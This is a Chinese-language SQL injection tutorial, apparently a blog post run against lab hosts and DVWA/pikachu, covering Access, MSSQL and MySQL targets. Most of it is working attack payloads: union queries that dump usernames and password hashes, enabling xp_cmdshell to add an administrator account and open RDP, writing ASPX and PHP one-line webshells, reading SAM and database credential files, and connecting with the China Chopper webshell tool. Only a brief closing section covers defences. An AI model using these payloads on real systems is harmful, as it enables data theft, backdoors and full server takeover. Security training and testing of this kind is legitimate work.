目錄
access數據庫
手工注入過程:
猜解數據庫表名
猜解數據庫表名里面的字段
猜解字段內容
SQL注入中的高級查詢
mssql數據庫
手工注入過程:
sa權限
??編輯dbowner權限
public權限
mysql數據庫
1、對服務器文件進行讀寫操作(前提條件)
需要知道遠程Web目錄
?secure_file_priv為空:
服務器讀取文件
寫webshell獲取權限
?2、mysq數據庫手工注入過程:
檢查注入點
查字段
查看當前數據庫用戶名及版本
獲取dvwa表名
獲取所有user表里面的字段
獲取所有字段內容;0x7c表示|符號?
?注入防御
1、涵數過濾
2、直接下載相關防范注入文件,通過incloud包含放在網站配置文件里面
3、PDO預處理
access數據庫
手工注入過程:
猜解數據庫表名
???????and exists(select * from users)
--如http://10.0.0.101/custom.asp?id=1 and exists(select * from users)?
--此查詢嘗試驗證id參數是否可被用來注入SQL代碼,并進一步判斷數據庫中是否有名為users的表。如果網頁返回正常或特定的錯誤信息,可能表明SQL注入漏洞存在。
--如果網站直接顯示一個錯誤頁面,特別是提及SQL語法錯誤或表名users的信息,強烈暗示存在SQL注入漏洞。
--利用bp抓包進行數據庫表名爆破(流程如下圖)
加載網站用bp抓包
http://10.0.0.101/custom.asp?id=1 and exists(select * from users)
?添加字典跑數據庫表名
返回200狀態,正常顯示證明數據庫有此表 ?
猜解數據庫表名里面的字段
and exists(select password from administrator)
?結果:
猜解字段內容
and (select top 1 len(user_name) from administrator)>1
and (select top 1 asc(mid(user_name,1,1)) from administrator)>0
SQL注入中的高級查詢
order by
--order by 8 order by 7
union select
--http://10.0.0.101/news_view.asp?id=14 union select 1,2,3,4,5,6,7 from administrator
?order by 8
order by 7 ?
union select 1,2,3,4,5,6,7 from administrator
顯示2 ,3,5,7;說明2,3,5,7可執行可讀寫
說明:
替換的內容
2:user_name? ?--輸出admin
3:password? ? ?--輸出21232f297a57a5a743894a0e4a801fc3
5:id? ? ? ? ? ? ? ? ?--輸出1
7:now? ? ? ? ? ? ?--輸出2024-5-3 18:22:54
union select 1,user_name,password,4,id,6,now from administrator ?
-
偏移注入
-
跨庫查詢
mssql數據庫
手工注入過程:
sa權限
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1
?--1.aspx則是一個具體的ASP.NET頁面文件
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1'--測試是否有注入點
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1 and exists (select * from%20sysobjects)?
--注入嘗試:?xxser=1 and exists (select * from%20sysobjects) 部分是在原有查詢參數xxser的值后面添加了SQL代碼,試圖探測數據庫中是否存在特定的對象。這里使用了exists子句和sysobjects表。sysobjects是SQL Server中的一個系統表,包含了數據庫中所有對象(如表、視圖、存儲過程等)的信息。通過檢查sysobjects表中的記錄是否存在,攻擊者可以間接判斷SQL注入是否成功以及數據庫中是否有特定的表或對象。
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1 and system_user=0?
--查詢當前數據庫系統的用戶名
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1 and 1=(select IS_SRVROLEMEMBER('sysadmin'))?
--檢查注入點是否為sa權限
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1 and 1=(select count(*) from master.dbo.sysobjects where name ='xp_cmdshell') ?
--判斷一下xp_cmdshell存儲過程是否存在
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
--恢復(啟用)SQL Server中的xp_cmdshell擴展存儲過程的正確方法
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1;exec master..xp_cmdshell 'net user test test /add'
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1;exec master..xp_cmdshell 'net localgroup administrators test /add'
--添加賬戶
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
--開啟3389端口
遠程連接10.0.0.101主機輸入賬戶test密碼test登陸;建立遠程連接。
檢查是否是mssql數據庫:未報錯,是mssql數據庫
and exists (select * from sysobjects)
第二步:查詢當前數據庫系統的用戶名
and system_user=0
?
第三步:檢查注入點是否為sa權限:存在
and 1=(select IS_SRVROLEMEMBER('sysadmin'))
第四步:判斷一下xp_cmdshell存儲過程是否存在
and 1=(select count(*) from master.dbo.sysobjects where name ='xp_cmdshell')
恢復xp_cmdshell可以用
;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
第五步:添加帳號
;exec master..xp_cmdshell 'net user test test /add'
這個命令使用net user
命令在Windows操作系統中創建一個新的用戶賬戶,名為test
,密碼也為test
。/add
參數指示要添加新用戶。
;exec master..xp_cmdshell 'net localgroup administrators test /add'
這個命令使用net localgroup
命令將剛剛創建的test
用戶添加到administrators
本地管理員組中,這意味著test
用戶現在擁有管理員權限,可以對系統執行幾乎所有的操作
?
第六步:開3389端口(遠程連接端口)
;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
?
輸入網站的主機ip地址;輸入【賬戶test 密碼test】建立遠程連接 ?
?
?
dbowner權限
?
第一步:查看當前網站是否為db_owner權限
and 1=(SELECT IS_MEMBER('db_owner'));-- ? ? ? ?
--判斷當前數據庫用戶是否為db_owner權限
第二步:找出網站路徑
?? ?1、通過報錯或baidu、google等查找
--如單引號(')、-1、and 1=2 ?;google搜索site:oldboyedu.com intext error
?? ?2、通過相關語句
drop table black;create Table black(result varchar(7996) null, id int not null identity (1,1))--insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'--
and (select result from black where id=1)>0--
第三步:寫入一句話木馬獲取webshell
%20;exec%20master..xp_cmdshell%20'Echo%20"<%@ Page Language="Jscript"%><%eval(Request.Item["123"],"unsafe");%>"%20>>%20c:\wwwtest\1111\wwwwtest\iis-xxser.com--wwwroot\sqlserver\muma.aspx'--
方法二:差異備份
;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple
第一步:查看當前網站是否為db_owner權限
and 1=(SELECT IS_MEMBER('db_owner'));--
第二步:找出網站路徑
1、方法一:通過報錯單引號(')或google查找
2、方法二:通過相關語句
drop table black;create Table black(result varchar(7996) null, id int not null identity (1,1))--
insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'-- ?
and (select result from black where id=1)>0--
閱覽器版本高執行失敗:
嘗試id=1
嘗試出id=4顯示出路徑(and (select result from black where id=4)>0--)
第三步:寫入一句話木馬獲取webshell
方法一:
%20;exec%20master..xp_cmdshell%20'Echo%20"<%@ Page Language="Jscript"%><%eval(Request.Item["123"],"unsafe");%>"%20>>%20c:\wwwtest\1111\wwwwtest\iis-xxser.com--wwwroot\sqlserver\muma.aspx'--?
利用中國菜刀(音速軟件-webshell-中國菜刀-中國菜刀.exe)遠程連接web主機
方法二差異備份:
音速軟件-注入檢測-GetWebShell增強版.exe
一句話木馬已生成完成
用中國菜刀可以遠程連接
?
public權限
?第一步:獲取當前網站數據庫名稱
?? ?and db_name()=0--
第二步:獲取mssql所有數據庫名和路徑
%20and%200=(select%20top%202%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%202%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--
第三步:獲取當前數據庫所有表名
?? ?and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))--
第四步:爆表名及字段名
?? ?having 1=1--
?? ?group by admin.id having 1=1--
?? ?group by admin.id,admin.name having 1=1--
第五步:獲取字段內容
?? ?/**/and/**/(select/**/top/**/1/**/isnull(cast([id]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password]/**/as/**/nvarchar(4000)),char(32))/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/group/**/by/**/id))%3E0/**/and/**/1=1
;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\1111\wwwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple
?having 1=1 獲取第一個字段
?
?group by admin.id having 1=1-- 獲取第二個字段(帶入獲取的第一個字段)
?group by admin.id,admin.name having 1=1-- 獲取第三個字段
獲取數據
?
mysql數據庫
1、對服務器文件進行讀寫操作(前提條件)
需要知道遠程Web目錄
需要mysql root權限
需要遠程目錄有寫權限
需要數據庫開啟secure_file_priv 相當于secure_file_priv的值為空,不為空不充許寫入webshell (默認不開啟,需要修改mysql.ini配置文件)
需要知道遠程Web目錄
報錯法:' and 1=1 ?and 1=2
google命令搜索
網站用閱覽器查看源代碼,查看是否有路徑
讀中間件的配置文件
%27%20union%20select%201,load_file(0x433A5C5C57494E444F57535C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C)+--+&Submit=Submit ?路徑記得轉化為十六進制
常見WINDOWS下配置文件:
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,記錄管理員登陸過的MYSQL用戶名和密碼
c:\mysql\data\mysql\user.MYD //存儲了mysql.user表中的數據庫連接密碼
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虛擬主機配置
d:\APACHE\Apache2\conf\httpd.conf
c:\windows\repair\sam //存儲了WINDOWS系統初次安裝的密碼
LUNIX/UNIX 下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設置
/usr/local/app/php5/lib/php.ini //PHP相關設置
/etc/sysconfig/iptables //從中得到防火墻規則策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系統版本
/usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置文件查看
單引號報錯法
右擊查看源代碼可能存在網站物理路徑泄露
百度或google輸入:site:xxx.com intext:error
?secure_file_priv為空:
服務器讀取文件
' union%20select%201,load_file('c:\\boot.ini')+--+&Submit=Submit
寫webshell獲取權限
' union select "<?php @eval($_POST['123']);?>",2 into outfile "C:\\phpStudy\\WWW\\123.php"+--+&Submit=Submit
?菜刀連接:
?連接成功。
?2、mysql數據庫手工注入過程:
' 與and 1=1 and 1=2
--檢查注入點
' order by 1,2--+&Submit=Submit#
--檢查字段
' union select user(),version()--+&Submit=Submit# ? ??
--查看數據庫用戶名和版本、庫名(dvwa)
'union select 1,group_concat(schema_name) from information_schema.schemata+--+&Submit=Submit ??
--獲取mysql所有庫
'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+&Submit=Submit ??
--獲取dwva表名
guestbook,users?
'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+&Submit=Submit ? ?
table_name=0x7573657273不轉成十六進制也可以table_name="users"
--獲取所有user表里面的字段
'union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users+--+&Submit=Submit ? ?
--獲取所有字段內容;0x7c表示|符號
檢查注入點
pikachu先切換成low級
’或and 1=1 and 1=2
查字段
' order by 1,2
查看當前數據庫用戶名及版本
也可以使用database()查看當前庫
' union select user(),version()--+
'union select 1,group_concat(schema_name) from information_schema.schemata+--+
獲取dvwa表名
'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+
獲取所有user表里面的字段
'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+
獲取所有字段內容;0x7c表示|符號?
'union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users+--+&Submit=Submit ? ?
?輸出結果:
1|admin|admin|admin|5f4dcc3b5aa765d61d8327deb882cf99|/hackable/users/admin.jpg|,2|Gordon|Brown|gordonb|e99a18c428cb38d5f260853678922e03|/hackable/users/gordonb.jpg|,3|Hack|Me|1337|8d3533d75ae2c3966d7e0d4fcc69216b|/hackable/users/1337.jpg|,4|Pablo|Picasso|pablo|0d107d09f5bbe40cade3de5c71e9e9b7|/hackable/users/pablo.jpg|,5|Bob|Smith|smithy|5
?注入防御
1、涵數過濾
2、直接下載相關防范注入文件,通過incloud包含放在網站配置文件里面
3、PDO預處理
從PHP 5.1開始,php可以通過PDO的prepare預處理函數執行sql語句,詳細代碼參考:http://www.php.cn/course/868.html
聲明:
- 此文章只做技術研究,謹遵守國家相關法律法規,請勿用于違法用途,如果您對文章內容有疑問,可以嘗試留言私信,如有侵權請聯系小編處理。